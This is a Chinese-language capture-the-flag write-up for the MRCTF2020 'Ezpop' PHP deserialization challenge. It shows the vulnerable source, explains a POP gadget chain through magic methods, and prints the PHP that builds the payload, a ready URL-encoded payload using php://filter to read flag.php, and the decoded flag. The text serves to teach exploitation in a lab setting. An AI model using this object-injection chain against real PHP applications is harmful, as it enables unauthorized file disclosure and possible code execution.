[MRCTF2020]Ezpop
思路
直接看源码
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
- 首先在
Modifier里面的append,试图让他include('php://filter/read=convert.base64-encode/resource=flag.php') __invoke()里面会调用,那么试图让$var='php://filter/read=convert.base64-encode/resource=flag.php'__invoke()是调用函数的方式调用一个对象时的回应方法,试图在Test的__get()里面调用- 令
Test的$p为设定好的Modifier对象 __get()是获得一个类的成员变量时调用,试图在Show的__toString里面调用__toString()是当一个对象被当作一个字符串使用,试图在__wake()里面用,且$source为Show对象
解题
构造如下
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$b = new Test;
$b->p = new Modifier;
$c = new Show;
$c->str = $b;
$d = new Show;
$d->source = $c;
echo urlencode(serialize($d));
得到pop值(注意protected和private属性的成员变量在序列化时会自动在变量名处添加\0表示ascii码为0的字符,不能直接用字符串作为payload,可以用python或者先urlencode())
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
传入pop得到
PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFnezRjZmI0ZGYzLTk3NTQtNDAwNy04MzBiLTgxZGZlZmZkNGE4MH0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8
解码得到
<?php
class Flag{
private $flag= "flag{4cfb4df3-9754-4007-830b-81dfeffd4a80}";
}
echo "Help Me Find FLAG!";
?>
注意
protected和private属性的成员变量在序列化时会自动在变量名处添加\0表示ascii码为0的字符,不能直接用字符串作为payload,可以用python或者先urlencode()